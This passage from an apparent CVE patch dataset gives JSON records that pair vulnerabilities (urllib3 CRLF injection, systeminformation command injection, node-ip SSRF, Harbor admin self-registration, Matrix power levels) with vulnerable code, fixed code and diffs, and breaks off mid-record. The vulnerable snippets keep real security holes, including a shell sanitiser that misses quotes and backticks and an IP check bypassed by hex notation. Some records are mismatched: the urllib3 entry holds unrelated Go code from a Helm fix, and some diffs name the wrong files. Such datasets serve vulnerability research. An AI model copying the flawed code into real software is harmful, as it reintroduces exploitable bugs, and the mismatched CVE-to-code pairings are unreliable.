URL.\n    \"\"\"\n    cookie_jar = CookieJar()\n    if cookie_dict is None:\n        return cookie_jar\n    for k, v in cookie_dict.items():\n        secure = url_object.scheme == 'https'\n        port_specified = not (\n            (url_object.scheme == \"https\" and url_object.port == 443)\n            or (url_object.scheme == \"http\" and url_object.port == 80)\n        )\n        port = str(url_object.port)\n        domain = url_object.host\n        netscape_domain = domain if '.' in domain else domain + '.local'\n\n        cookie_jar.set_cookie(\n            Cookie(\n                # Scoping\n                domain=netscape_domain,\n                port=port,\n                secure=secure,\n                port_specified=port_specified,\n\n                # Contents\n                name=k,\n                value=v,\n\n                # Constant/always-the-same stuff\n                version=0,\n                path=\"/\",\n                expires=None,\n                discard=False,\n                comment=None,\n                comment_url=None,\n                rfc2109=False,\n                path_specified=False,\n                domain_specified=False,\n                domain_initial_dot=False,\n                rest=[],\n            )\n        )\n    return cookie_jar"}], "vul_patch": "--- a/src/treq/client.py\n+++ b/src/treq/client.py\n@@ -1,5 +1,7 @@\n     def __init__(self, agent, cookiejar=None,\n                  data_to_body_producer=IBodyProducer):\n         self._agent = agent\n-        self._cookiejar = cookiejar or cookiejar_from_dict({})\n+        if cookiejar is None:\n+            cookiejar = CookieJar()\n+        self._cookiejar = cookiejar\n         self._data_to_body_producer = data_to_body_producer\n\n--- a/src/treq/client.py\n+++ b/src/treq/client.py\n@@ -50,7 +50,7 @@\n             headers.setRawHeaders(b'Content-Type', [contentType])\n \n         if not isinstance(cookies, CookieJar):\n-            cookies = cookiejar_from_dict(cookies)\n+            cookies = _scoped_cookiejar_from_dict(parsed_url, cookies)\n \n         cookies = merge_cookies(self._cookiejar, cookies)\n         wrapped_agent = CookieAgent(self._agent, cookies)\n\n--- /dev/null\n+++ b/src/treq/client.py\n@@ -0,0 +1,48 @@\n+def _scoped_cookiejar_from_dict(url_object, cookie_dict):\n+    \"\"\"\n+    Create a CookieJar from a dictionary whose cookies are all scoped to the\n+    given URL's origin.\n+\n+    @note: This does not scope the cookies to any particular path, only the\n+        host, port, and scheme of the given URL.\n+    \"\"\"\n+    cookie_jar = CookieJar()\n+    if cookie_dict is None:\n+        return cookie_jar\n+    for k, v in cookie_dict.items():\n+        secure = url_object.scheme == 'https'\n+        port_specified = not (\n+            (url_object.scheme == \"https\" and url_object.port == 443)\n+            or (url_object.scheme == \"http\" and url_object.port == 80)\n+        )\n+        port = str(url_object.port)\n+        domain = url_object.host\n+        netscape_domain = domain if '.' in domain else domain + '.local'\n+\n+        cookie_jar.set_cookie(\n+            Cookie(\n+                # Scoping\n+                domain=netscape_domain,\n+                port=port,\n+                secure=secure,\n+                port_specified=port_specified,\n+\n+                # Contents\n+                name=k,\n+                value=v,\n+\n+                # Constant/always-the-same stuff\n+                version=0,\n+                path=\"/\",\n+                expires=None,\n+                discard=False,\n+                comment=None,\n+                comment_url=None,\n+                rfc2109=False,\n+                path_specified=False,\n+                domain_specified=False,\n+                domain_initial_dot=False,\n+                rest=[],\n+            )\n+        )\n+    return cookie_jar\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2020-26137", "cve_description": "urllib3 before 1.25.9 allows CRLF injection if the attacker controls the HTTP request method, as demonstrated by inserting CR and LF control characters in the first argument of putrequest(). NOTE: this is similar to CVE-2020-26116.", "cwe_info": {"CWE-74": {"name": "Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')", "description": "The product constructs all or part of a command, data structure, or record using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify how it is parsed or interpreted when it is sent to a downstream component."}}, "repo": "https://github.com/urllib3/urllib3", "patch_url": ["https://github.com/urllib3/urllib3/commit/1dd69c5c5982fae7c87a620d487c2ebf7a6b436b"], "programing_language": "Python", "vul_func": [{"id": "vul_go_132_1", "commit": "860b1a9", "file_path": "pkg/chart/metadata.go", "start_line": 68, "end_line": 86, "snippet": "func (md *Metadata) Validate() error {\n\tif md == nil {\n\t\treturn ValidationError(\"chart.metadata is required\")\n\t}\n\tif md.APIVersion == \"\" {\n\t\treturn ValidationError(\"chart.metadata.apiVersion is required\")\n\t}\n\tif md.Name == \"\" {\n\t\treturn ValidationError(\"chart.metadata.name is required\")\n\t}\n\tif md.Version == \"\" {\n\t\treturn ValidationError(\"chart.metadata.version is required\")\n\t}\n\tif !isValidChartType(md.Type) {\n\t\treturn ValidationError(\"chart.metadata.type must be application or library\")\n\t}\n\t// TODO validate valid semver here?\n\treturn nil\n}"}], "fix_func": [{"id": "fix_go_132_1", "commit": "e7c2815", "file_path": "pkg/chart/metadata.go", "start_line": 68, "end_line": 95, "snippet": "func (md *Metadata) Validate() error {\n\tif md == nil {\n\t\treturn ValidationError(\"chart.metadata is required\")\n\t}\n\tif md.APIVersion == \"\" {\n\t\treturn ValidationError(\"chart.metadata.apiVersion is required\")\n\t}\n\tif md.Name == \"\" {\n\t\treturn ValidationError(\"chart.metadata.name is required\")\n\t}\n\tif md.Version == \"\" {\n\t\treturn ValidationError(\"chart.metadata.version is required\")\n\t}\n\tif !isValidChartType(md.Type) {\n\t\treturn ValidationError(\"chart.metadata.type must be application or library\")\n\t}\n\n\t// Aliases need to be validated here to make sure that the alias name does\n\t// not contain any illegal characters.\n\tfor _, dependency := range md.Dependencies {\n\t\tif err := validateDependency(dependency); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\t// TODO validate valid semver here?\n\treturn nil\n}"}, {"id": "fix_go_132_2", "commit": "e7c2815", "file_path": "pkg/chart/chart.go", "start_line": 31, "end_line": 31, "snippet": "var aliasNameFormat = regexp.MustCompile(\"^[a-zA-Z0-9_-]+$\")"}, {"id": "fix_go_132_3", "commit": "e7c2815", "file_path": "pkg/chart/errors.go", "start_line": 28, "end_line": 30, "snippet": "func ValidationErrorf(msg string, args ...interface{}) ValidationError {\n\treturn ValidationError(fmt.Sprintf(msg, args...))\n}"}, {"id": "fix_go_132_4", "commit": "e7c2815", "file_path": "pkg/chart/metadata.go", "start_line": 108, "end_line": 113, "snippet": "func validateDependency(dep *Dependency) error {\n\tif len(dep.Alias) > 0 && !aliasNameFormat.MatchString(dep.Alias) {\n\t\treturn ValidationErrorf(\"dependency %q has disallowed characters in the alias\", dep.Name)\n\t}\n\treturn nil\n}"}], "vul_patch": "--- a/pkg/chart/metadata.go\n+++ b/pkg/chart/metadata.go\n@@ -14,6 +14,15 @@\n \tif !isValidChartType(md.Type) {\n \t\treturn ValidationError(\"chart.metadata.type must be application or library\")\n \t}\n+\n+\t// Aliases need to be validated here to make sure that the alias name does\n+\t// not contain any illegal characters.\n+\tfor _, dependency := range md.Dependencies {\n+\t\tif err := validateDependency(dependency); err != nil {\n+\t\t\treturn err\n+\t\t}\n+\t}\n+\n \t// TODO validate valid semver here?\n \treturn nil\n }\n\n--- /dev/null\n+++ b/pkg/chart/metadata.go\n@@ -0,0 +1 @@\n+var aliasNameFormat = regexp.MustCompile(\"^[a-zA-Z0-9_-]+$\")\n\n--- /dev/null\n+++ b/pkg/chart/metadata.go\n@@ -0,0 +1,3 @@\n+func ValidationErrorf(msg string, args ...interface{}) ValidationError {\n+\treturn ValidationError(fmt.Sprintf(msg, args...))\n+}\n\n--- /dev/null\n+++ b/pkg/chart/metadata.go\n@@ -0,0 +1,6 @@\n+func validateDependency(dep *Dependency) error {\n+\tif len(dep.Alias) > 0 && !aliasNameFormat.MatchString(dep.Alias) {\n+\t\treturn ValidationErrorf(\"dependency %q has disallowed characters in the alias\", dep.Name)\n+\t}\n+\treturn nil\n+}\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2020-26274", "cve_description": "In systeminformation (npm package) before version 4.31.1 there is a command injection vulnerability. The problem was fixed in version 4.31.1 with a shell string sanitation fix.", "cwe_info": {"CWE-94": {"name": "Improper Control of Generation of Code ('Code Injection')", "description": "The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment."}, "CWE-77": {"name": "Improper Neutralization of Special Elements used in a Command ('Command Injection')", "description": "The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component."}, "CWE-78": {"name": "Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "description": "The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component."}}, "repo": "https://github.com/sebhildebrandt/systeminformation", "patch_url": ["https://github.com/sebhildebrandt/systeminformation/commit/1faadcbf68f1b1fdd5eb2054f68fc932be32ac99"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_264_1", "commit": "4f98f2ff208f355b7e242661cf9c4594a702dbec", "file_path": "lib/util.js", "start_line": 501, "end_line": 529, "snippet": "function sanitizeShellString(str) {\n  const s = str || '';\n  let result = '';\n  for (let i = 0; i <= 2000; i++) {\n    if (!(s[i] === undefined ||\n      s[i] === '>' ||\n      s[i] === '<' ||\n      s[i] === '*' ||\n      s[i] === '?' ||\n      s[i] === '[' ||\n      s[i] === ']' ||\n      s[i] === '|' ||\n      s[i] === '\\u02da' ||\n      s[i] === '$' ||\n      s[i] === ';' ||\n      s[i] === '&' ||\n      s[i] === '(' ||\n      s[i] === ')' ||\n      s[i] === ']' ||\n      s[i] === '#' ||\n      s[i] === '\\\\' ||\n      s[i] === '\\t' ||\n      s[i] === '\\n' ||\n      s[i] === '\"')) {\n      result = result + s[i];\n    }\n  }\n  return result;\n}"}], "fix_func": [{"id": "fix_js_264_1", "commit": "1faadcbf68f1b1fdd5eb2054f68fc932be32ac99", "file_path": "lib/util.js", "start_line": 501, "end_line": 531, "snippet": "function sanitizeShellString(str) {\n  const s = str || '';\n  let result = '';\n  for (let i = 0; i <= 2000; i++) {\n    if (!(s[i] === undefined ||\n      s[i] === '>' ||\n      s[i] === '<' ||\n      s[i] === '*' ||\n      s[i] === '?' ||\n      s[i] === '[' ||\n      s[i] === ']' ||\n      s[i] === '|' ||\n      s[i] === '\\u02da' ||\n      s[i] === '$' ||\n      s[i] === ';' ||\n      s[i] === '&' ||\n      s[i] === '(' ||\n      s[i] === ')' ||\n      s[i] === ']' ||\n      s[i] === '#' ||\n      s[i] === '\\\\' ||\n      s[i] === '\\t' ||\n      s[i] === '\\n' ||\n      s[i] === '\\'' ||\n      s[i] === '`' ||\n      s[i] === '\"')) {\n      result = result + s[i];\n    }\n  }\n  return result;\n}"}], "vul_patch": "--- a/lib/util.js\n+++ b/lib/util.js\n@@ -21,6 +21,8 @@\n       s[i] === '\\\\' ||\n       s[i] === '\\t' ||\n       s[i] === '\\n' ||\n+      s[i] === '\\'' ||\n+      s[i] === '`' ||\n       s[i] === '\"')) {\n       result = result + s[i];\n     }\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2023-42282", "cve_description": "The ip package before 1.1.9 for Node.js might allow SSRF because some IP addresses (such as 0x7f.1) are improperly categorized as globally routable via isPublic.", "cwe_info": {"CWE-918": {"name": "Server-Side Request Forgery (SSRF)", "description": "The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination."}}, "repo": "https://github.com/indutny/node-ip", "patch_url": ["https://github.com/indutny/node-ip/commit/6a3ada9b471b09d5f0f5be264911ab564bf67894", "https://github.com/indutny/node-ip/commit/32f468f1245574785ec080705737a579be1223aa"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_160_1", "commit": "5dc3b2f", "file_path": "lib/ip.js", "start_line": 313, "end_line": 325, "snippet": "ip.isPrivate = function (addr) {\n  return /^(::f{4}:)?10\\.([0-9]{1,3})\\.([0-9]{1,3})\\.([0-9]{1,3})$/i\n    .test(addr)\n    || /^(::f{4}:)?192\\.168\\.([0-9]{1,3})\\.([0-9]{1,3})$/i.test(addr)\n    || /^(::f{4}:)?172\\.(1[6-9]|2\\d|30|31)\\.([0-9]{1,3})\\.([0-9]{1,3})$/i\n      .test(addr)\n    || /^(::f{4}:)?127\\.([0-9]{1,3})\\.([0-9]{1,3})\\.([0-9]{1,3})$/i.test(addr)\n    || /^(::f{4}:)?169\\.254\\.([0-9]{1,3})\\.([0-9]{1,3})$/i.test(addr)\n    || /^f[cd][0-9a-f]{2}:/i.test(addr)\n    || /^fe80:/i.test(addr)\n    || /^::1$/.test(addr)\n    || /^::$/.test(addr);\n};"}, {"id": "vul_js_160_2", "commit": "5dc3b2f", "file_path": "lib/ip.js", "start_line": 331, "end_line": 337, "snippet": "ip.isLoopback = function (addr) {\n  return /^(::f{4}:)?127\\.([0-9]{1,3})\\.([0-9]{1,3})\\.([0-9]{1,3})/\n    .test(addr)\n    || /^fe80::1$/.test(addr)\n    || /^::1$/.test(addr)\n    || /^::$/.test(addr);\n};"}], "fix_func": [{"id": "fix_js_160_1", "commit": "6a3ada9", "file_path": "lib/ip.js", "start_line": 313, "end_line": 339, "snippet": "ip.isPrivate = function (addr) {\n  // check loopback addresses first\n  if (ip.isLoopback(addr)) {\n    return true;\n  }\n\n  // ensure the ipv4 address is valid\n  if (!ip.isV6Format(addr)) {\n    const ipl = ip.normalizeToLong(addr);\n    if (ipl < 0) {\n      throw new Error('invalid ipv4 address');\n    }\n    // normalize the address for the private range checks that follow\n    addr = ip.fromLong(ipl);\n  }\n\n  // check private ranges\n  return /^(::f{4}:)?10\\.([0-9]{1,3})\\.([0-9]{1,3})\\.([0-9]{1,3})$/i.test(addr)\n    || /^(::f{4}:)?192\\.168\\.([0-9]{1,3})\\.([0-9]{1,3})$/i.test(addr)\n    || /^(::f{4}:)?172\\.(1[6-9]|2\\d|30|31)\\.([0-9]{1,3})\\.([0-9]{1,3})$/i\n      .test(addr)\n    || /^(::f{4}:)?169\\.254\\.([0-9]{1,3})\\.([0-9]{1,3})$/i.test(addr)\n    || /^f[cd][0-9a-f]{2}:/i.test(addr)\n    || /^fe80:/i.test(addr)\n    || /^::1$/.test(addr)\n    || /^::$/.test(addr);\n};"}, {"id": "fix_js_160_2", "commit": "6a3ada9", "file_path": "lib/ip.js", "start_line": 345, "end_line": 358, "snippet": "ip.isLoopback = function (addr) {\n  // If addr is an IPv4 address in long integer form (no dots and no colons), convert it\n  if (!/\\./.test(addr) && !/:/.test(addr)) {\n    addr = ip.fromLong(Number(addr));\n  }\n\n  return /^(::f{4}:)?127\\.([0-9]{1,3})\\.([0-9]{1,3})\\.([0-9]{1,3})/\n    .test(addr)\n    || /^0177\\./.test(addr)\n    || /^0x7f\\./i.test(addr)\n    || /^fe80::1$/i.test(addr)\n    || /^::1$/.test(addr)\n    || /^::$/.test(addr);\n};"}, {"id": "fix_js_160_3", "commit": "6a3ada9", "file_path": "lib/ip.js", "start_line": 450, "end_line": 496, "snippet": "ip.normalizeToLong = function (addr) {\n  const parts = addr.split('.').map(part => {\n    // Handle hexadecimal format\n    if (part.startsWith('0x') || part.startsWith('0X')) {\n      return parseInt(part, 16);\n    }\n    // Handle octal format (strictly digits 0-7 after a leading zero)\n    else if (part.startsWith('0') && part !== '0' && /^[0-7]+$/.test(part)) {\n      return parseInt(part, 8);\n    }\n    // Handle decimal format, reject invalid leading zeros\n    else if (/^[1-9]\\d*$/.test(part) || part === '0') {\n      return parseInt(part, 10);\n    }\n    // Return NaN for invalid formats to indicate parsing failure\n    else {\n      return NaN;\n    }\n  });\n\n  if (parts.some(isNaN)) return -1; // Indicate error with -1\n\n  let val = 0;\n  const n = parts.length;\n\n  switch (n) {\n  case 1:\n    val = parts[0];\n    break;\n  case 2:\n    if (parts[0] > 0xff || parts[1] > 0xffffff) return -1;\n    val = (parts[0] << 24) | (parts[1] & 0xffffff);\n    break;\n  case 3:\n    if (parts[0] > 0xff || parts[1] > 0xff || parts[2] > 0xffff) return -1;\n    val = (parts[0] << 24) | (parts[1] << 16) | (parts[2] & 0xffff);\n    break;\n  case 4:\n    if (parts.some(part => part > 0xff)) return -1;\n    val = (parts[0] << 24) | (parts[1] << 16) | (parts[2] << 8) | parts[3];\n    break;\n  default:\n    return -1; // Error case\n  }\n\n  return val >>> 0;\n};"}], "vul_patch": "--- a/lib/ip.js\n+++ b/lib/ip.js\n@@ -1,10 +1,24 @@\n ip.isPrivate = function (addr) {\n-  return /^(::f{4}:)?10\\.([0-9]{1,3})\\.([0-9]{1,3})\\.([0-9]{1,3})$/i\n-    .test(addr)\n+  // check loopback addresses first\n+  if (ip.isLoopback(addr)) {\n+    return true;\n+  }\n+\n+  // ensure the ipv4 address is valid\n+  if (!ip.isV6Format(addr)) {\n+    const ipl = ip.normalizeToLong(addr);\n+    if (ipl < 0) {\n+      throw new Error('invalid ipv4 address');\n+    }\n+    // normalize the address for the private range checks that follow\n+    addr = ip.fromLong(ipl);\n+  }\n+\n+  // check private ranges\n+  return /^(::f{4}:)?10\\.([0-9]{1,3})\\.([0-9]{1,3})\\.([0-9]{1,3})$/i.test(addr)\n     || /^(::f{4}:)?192\\.168\\.([0-9]{1,3})\\.([0-9]{1,3})$/i.test(addr)\n     || /^(::f{4}:)?172\\.(1[6-9]|2\\d|30|31)\\.([0-9]{1,3})\\.([0-9]{1,3})$/i\n       .test(addr)\n-    || /^(::f{4}:)?127\\.([0-9]{1,3})\\.([0-9]{1,3})\\.([0-9]{1,3})$/i.test(addr)\n     || /^(::f{4}:)?169\\.254\\.([0-9]{1,3})\\.([0-9]{1,3})$/i.test(addr)\n     || /^f[cd][0-9a-f]{2}:/i.test(addr)\n     || /^fe80:/i.test(addr)\n\n--- a/lib/ip.js\n+++ b/lib/ip.js\n@@ -1,7 +1,14 @@\n ip.isLoopback = function (addr) {\n+  // If addr is an IPv4 address in long integer form (no dots and no colons), convert it\n+  if (!/\\./.test(addr) && !/:/.test(addr)) {\n+    addr = ip.fromLong(Number(addr));\n+  }\n+\n   return /^(::f{4}:)?127\\.([0-9]{1,3})\\.([0-9]{1,3})\\.([0-9]{1,3})/\n     .test(addr)\n-    || /^fe80::1$/.test(addr)\n+    || /^0177\\./.test(addr)\n+    || /^0x7f\\./i.test(addr)\n+    || /^fe80::1$/i.test(addr)\n     || /^::1$/.test(addr)\n     || /^::$/.test(addr);\n };\n\n--- /dev/null\n+++ b/lib/ip.js\n@@ -0,0 +1,47 @@\n+ip.normalizeToLong = function (addr) {\n+  const parts = addr.split('.').map(part => {\n+    // Handle hexadecimal format\n+    if (part.startsWith('0x') || part.startsWith('0X')) {\n+      return parseInt(part, 16);\n+    }\n+    // Handle octal format (strictly digits 0-7 after a leading zero)\n+    else if (part.startsWith('0') && part !== '0' && /^[0-7]+$/.test(part)) {\n+      return parseInt(part, 8);\n+    }\n+    // Handle decimal format, reject invalid leading zeros\n+    else if (/^[1-9]\\d*$/.test(part) || part === '0') {\n+      return parseInt(part, 10);\n+    }\n+    // Return NaN for invalid formats to indicate parsing failure\n+    else {\n+      return NaN;\n+    }\n+  });\n+\n+  if (parts.some(isNaN)) return -1; // Indicate error with -1\n+\n+  let val = 0;\n+  const n = parts.length;\n+\n+  switch (n) {\n+  case 1:\n+    val = parts[0];\n+    break;\n+  case 2:\n+    if (parts[0] > 0xff || parts[1] > 0xffffff) return -1;\n+    val = (parts[0] << 24) | (parts[1] & 0xffffff);\n+    break;\n+  case 3:\n+    if (parts[0] > 0xff || parts[1] > 0xff || parts[2] > 0xffff) return -1;\n+    val = (parts[0] << 24) | (parts[1] << 16) | (parts[2] & 0xffff);\n+    break;\n+  case 4:\n+    if (parts.some(part => part > 0xff)) return -1;\n+    val = (parts[0] << 24) | (parts[1] << 16) | (parts[2] << 8) | parts[3];\n+    break;\n+  default:\n+    return -1; // Error case\n+  }\n+\n+  return val >>> 0;\n+};\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2019-16097", "cve_description": "core/api/user.go in Harbor 1.7.0 through 1.8.2 allows non-admin users to create admin accounts via the POST /api/users API, when Harbor is setup with DB as authentication backend and allow user to do self-registration. Fixed version: v1.7.6 v1.8.3. v.1.9.0. Workaround without applying the fix: configure Harbor to use non-DB authentication backend such as LDAP.", "cwe_info": {"CWE-862": {"name": "Missing Authorization", "description": "The product does not perform an authorization check when an actor attempts to access a resource or perform an action."}, "CWE-639": {"name": "Authorization Bypass Through User-Controlled Key", "description": "The system's authorization functionality does not prevent one user from gaining access to another user's data or record by modifying the key value identifying the data."}}, "repo": "https://github.com/goharbor/harbor", "patch_url": ["https://github.com/goharbor/harbor/commit/b6db8a8a106259ec9a2c48be8a380cb3b37cf517"], "programing_language": "Go", "vul_func": [{"id": "vul_go_193_1", "commit": "3868d54", "file_path": "src/core/api/user.go", "start_line": 303, "end_line": 357, "snippet": "func (ua *UserAPI) Post() {\n\n\tif !(ua.AuthMode == common.DBAuth) {\n\t\tua.SendForbiddenError(errors.New(\"\"))\n\t\treturn\n\t}\n\n\tif !(ua.SelfRegistration || ua.IsAdmin) {\n\t\tlog.Warning(\"Registration can only be used by admin role user when self-registration is off.\")\n\t\tua.SendForbiddenError(errors.New(\"\"))\n\t\treturn\n\t}\n\n\tuser := models.User{}\n\tif err := ua.DecodeJSONReq(&user); err != nil {\n\t\tua.SendBadRequestError(err)\n\t\treturn\n\t}\n\terr := validate(user)\n\tif err != nil {\n\t\tlog.Warningf(\"Bad request in Register: %v\", err)\n\t\tua.RenderError(http.StatusBadRequest, \"register error:\"+err.Error())\n\t\treturn\n\t}\n\tuserExist, err := dao.UserExists(user, \"username\")\n\tif err != nil {\n\t\tlog.Errorf(\"Error occurred in Register: %v\", err)\n\t\tua.SendInternalServerError(errors.New(\"internal error\"))\n\t\treturn\n\t}\n\tif userExist {\n\t\tlog.Warning(\"username has already been used!\")\n\t\tua.SendConflictError(errors.New(\"username has already been used\"))\n\t\treturn\n\t}\n\temailExist, err := dao.UserExists(user, \"email\")\n\tif err != nil {\n\t\tlog.Errorf(\"Error occurred in change user profile: %v\", err)\n\t\tua.SendInternalServerError(errors.New(\"internal error\"))\n\t\treturn\n\t}\n\tif emailExist {\n\t\tlog.Warning(\"email has already been used!\")\n\t\tua.SendConflictError(errors.New(\"email has already been used\"))\n\t\treturn\n\t}\n\tuserID, err := dao.Register(user)\n\tif err != nil {\n\t\tlog.Errorf(\"Error occurred in Register: %v\", err)\n\t\tua.SendInternalServerError(errors.New(\"internal error\"))\n\t\treturn\n\t}\n\n\tua.Redirect(http.StatusCreated, strconv.FormatInt(userID, 10))\n}"}], "fix_func": [{"id": "fix_go_193_1", "commit": "b6db8a8", "file_path": "src/core/api/user.go", "start_line": 303, "end_line": 366, "snippet": "func (ua *UserAPI) Post() {\n\n\tif !(ua.AuthMode == common.DBAuth) {\n\t\tua.SendForbiddenError(errors.New(\"\"))\n\t\treturn\n\t}\n\n\tif !(ua.SelfRegistration || ua.IsAdmin) {\n\t\tlog.Warning(\"Registration can only be used by admin role user when self-registration is off.\")\n\t\tua.SendForbiddenError(errors.New(\"\"))\n\t\treturn\n\t}\n\n\tuser := models.User{}\n\tif err := ua.DecodeJSONReq(&user); err != nil {\n\t\tua.SendBadRequestError(err)\n\t\treturn\n\t}\n\terr := validate(user)\n\tif err != nil {\n\t\tlog.Warningf(\"Bad request in Register: %v\", err)\n\t\tua.RenderError(http.StatusBadRequest, \"register error:\"+err.Error())\n\t\treturn\n\t}\n\n\tif !ua.IsAdmin && user.HasAdminRole {\n\t\tmsg := \"Non-admin cannot create an admin user.\"\n\t\tlog.Errorf(msg)\n\t\tua.SendForbiddenError(errors.New(msg))\n\t\treturn\n\t}\n\n\tuserExist, err := dao.UserExists(user, \"username\")\n\tif err != nil {\n\t\tlog.Errorf(\"Error occurred in Register: %v\", err)\n\t\tua.SendInternalServerError(errors.New(\"internal error\"))\n\t\treturn\n\t}\n\tif userExist {\n\t\tlog.Warning(\"username has already been used!\")\n\t\tua.SendConflictError(errors.New(\"username has already been used\"))\n\t\treturn\n\t}\n\temailExist, err := dao.UserExists(user, \"email\")\n\tif err != nil {\n\t\tlog.Errorf(\"Error occurred in change user profile: %v\", err)\n\t\tua.SendInternalServerError(errors.New(\"internal error\"))\n\t\treturn\n\t}\n\tif emailExist {\n\t\tlog.Warning(\"email has already been used!\")\n\t\tua.SendConflictError(errors.New(\"email has already been used\"))\n\t\treturn\n\t}\n\n\tuserID, err := dao.Register(user)\n\tif err != nil {\n\t\tlog.Errorf(\"Error occurred in Register: %v\", err)\n\t\tua.SendInternalServerError(errors.New(\"internal error\"))\n\t\treturn\n\t}\n\n\tua.Redirect(http.StatusCreated, strconv.FormatInt(userID, 10))\n}"}], "vul_patch": "--- a/src/core/api/user.go\n+++ b/src/core/api/user.go\n@@ -22,6 +22,14 @@\n \t\tua.RenderError(http.StatusBadRequest, \"register error:\"+err.Error())\n \t\treturn\n \t}\n+\n+\tif !ua.IsAdmin && user.HasAdminRole {\n+\t\tmsg := \"Non-admin cannot create an admin user.\"\n+\t\tlog.Errorf(msg)\n+\t\tua.SendForbiddenError(errors.New(msg))\n+\t\treturn\n+\t}\n+\n \tuserExist, err := dao.UserExists(user, \"username\")\n \tif err != nil {\n \t\tlog.Errorf(\"Error occurred in Register: %v\", err)\n@@ -44,6 +52,7 @@\n \t\tua.SendConflictError(errors.New(\"email has already been used\"))\n \t\treturn\n \t}\n+\n \tuserID, err := dao.Register(user)\n \tif err != nil {\n \t\tlog.Errorf(\"Error occurred in Register: %v\", err)\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2022-36009", "cve_description": "gomatrixserverlib is a Go library for matrix protocol federation. Dendrite is a Matrix homeserver written in Go, an alternative to Synapse. The power level parsing within gomatrixserverlib was failing to parse the `\"events_default\"` key of the `m.room.power_levels` event, defaulting the event default power level to zero in all cases. Power levels are the matrix terminology for user access level. In rooms where the `\"events_default\"` power level had been changed, this could result in events either being incorrectly authorised or rejected by Dendrite servers. gomatrixserverlib contains a fix as of commit `723fd49` and Dendrite 0.9.3 has been updated accordingly. Matrix rooms where the `\"events_default\"` power level has not been changed from the default of zero are not vulnerable. Users are advised to upgrade. There are no known workarounds for this issue.", "cwe_info": {"CWE-863": {"name": "Incorrect Authorization", "description": "The product performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check."}}, "repo": "https://github.com/matrix-org/gomatrixserverlib", "patch_url": ["https://github.com/matrix-org/gomatrixserverlib/commit/723fd495dde835d078b9f2074b6b62c06dea4575"], "programing_language": "Go", "vul_func": [{"id": "vul_go_55_1", "commit": "6a49c18", "file_path": "eventcontent.go", "start_line": 408, "end_line": 474, "snippet": "func NewPowerLevelContentFromEvent(event *Event) (c PowerLevelContent, err error) {\n\t// Set the levels to their default values.\n\tc.Defaults()\n\n\tvar strict bool\n\tif strict, err = event.roomVersion.RequireIntegerPowerLevels(); err != nil {\n\t\treturn\n\t} else if strict {\n\t\t// Unmarshal directly to PowerLevelContent, since that will kick up an\n\t\t// error if one of the power levels isn't an int64.\n\t\tif err = json.Unmarshal(event.Content(), &c); err != nil {\n\t\t\terr = errorf(\"unparsable power_levels event content: %s\", err.Error())\n\t\t\treturn\n\t\t}\n\t} else {\n\t\t// We can't extract the JSON directly to the powerLevelContent because we\n\t\t// need to convert string values to int values.\n\t\tvar content struct {\n\t\t\tInviteLevel        levelJSONValue            `json:\"invite\"`\n\t\t\tBanLevel           levelJSONValue            `json:\"ban\"`\n\t\t\tKickLevel          levelJSONValue            `json:\"kick\"`\n\t\t\tRedactLevel        levelJSONValue            `json:\"redact\"`\n\t\t\tUserLevels         map[string]levelJSONValue `json:\"users\"`\n\t\t\tUsersDefaultLevel  levelJSONValue            `json:\"users_default\"`\n\t\t\tEventLevels        map[string]levelJSONValue `json:\"events\"`\n\t\t\tStateDefaultLevel  levelJSONValue            `json:\"state_default\"`\n\t\t\tEventDefaultLevel  levelJSONValue            `json:\"event_default\"`\n\t\t\tNotificationLevels map[string]levelJSONValue `json:\"notifications\"`\n\t\t}\n\t\tif err = json.Unmarshal(event.Content(), &content); err != nil {\n\t\t\terr = errorf(\"unparsable power_levels event content: %s\", err.Error())\n\t\t\treturn\n\t\t}\n\n\t\t// Update the levels with the values that are present in the event content.\n\t\tcontent.InviteLevel.assignIfExists(&c.Invite)\n\t\tcontent.BanLevel.assignIfExists(&c.Ban)\n\t\tcontent.KickLevel.assignIfExists(&c.Kick)\n\t\tcontent.RedactLevel.assignIfExists(&c.Redact)\n\t\tcontent.UsersDefaultLevel.assignIfExists(&c.UsersDefault)\n\t\tcontent.StateDefaultLevel.assignIfExists(&c.StateDefault)\n\t\tcontent.EventDefaultLevel.assignIfExists(&c.EventsDefault)\n\n\t\tfor k, v := range content.UserLevels {\n\t\t\tif c.Users == nil {\n\t\t\t\tc.Users = make(map[string]int64)\n\t\t\t}\n\t\t\tc.Users[k] = v.value\n\t\t}\n\n\t\tfor k, v := range content.EventLevels {\n\t\t\tif c.Events == nil {\n\t\t\t\tc.Events = make(map[string]int64)\n\t\t\t}\n\t\t\tc.Events[k] = v.value\n\t\t}\n\n\t\tfor k, v := range content.NotificationLevels {\n\t\t\tif c.Notifications == nil {\n\t\t\t\tc.Notifications = make(map[string]int64)\n\t\t\t}\n\t\t\tc.Notifications[k] = v.value\n\t\t}\n\t}\n\n\treturn\n}"}], "fix_func": [{"id": "fix_go_55_1", "commit": "723fd49", "file_path": "eventcontent.go", "start_line": 408, "end_line": 474, "snippet": "func NewPowerLevelContentFromEvent(event *Event) (c PowerLevelContent, err error) {\n\t// Set the levels to their default values.\n\tc.Defaults()\n\n\tvar strict bool\n\tif strict, err = event.roomVersion.RequireIntegerPowerLevels(); err != nil {\n\t\treturn\n\t} else if strict {\n\t\t// Unmarshal directly to PowerLevelContent, since that will kick up an\n\t\t// error if one of the power levels isn't an int64.\n\t\tif err = json.Unmarshal(event.Content(), 